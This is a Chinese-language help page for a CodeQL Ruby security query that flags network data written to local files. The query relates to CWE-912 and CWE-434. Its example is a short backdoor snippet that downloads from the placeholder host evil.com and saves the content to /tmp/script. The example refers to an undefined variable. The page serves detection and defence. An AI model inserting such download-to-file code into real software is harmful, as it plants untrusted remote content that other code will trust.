写入文件的网络数据¶
ID: rb/http-to-file-access
Kind: path-problem
Security severity: 6.3
Severity: warning
Precision: medium
Tags:
- security
- external/cwe/cwe-912
- external/cwe/cwe-434
Query suites:
- ruby-security-extended.qls
- ruby-security-and-quality.qls
在本地文件系统上存储用户控制的数据,且未进行进一步验证,这将允许任意文件上传,并且可能是恶意后门代码植入到原本可信代码库中的迹象。
建议¶
仔细检查突出显示的代码,以确保其按预期运行。
示例¶
以下示例显示了从 URL https://evil.com/script
下载数据并将其存储在本地文件 /tmp/script
中的后门代码。
require "net/http"
resp = Net::HTTP.new("evil.com").get("/script").body
file = File.open("/tmp/script", "w")
file.write(body)
程序的其他部分可能会假设 /tmp/script
是一个本地文件,其内容可以信任,而实际上它们是从不受信任的远程源获取的。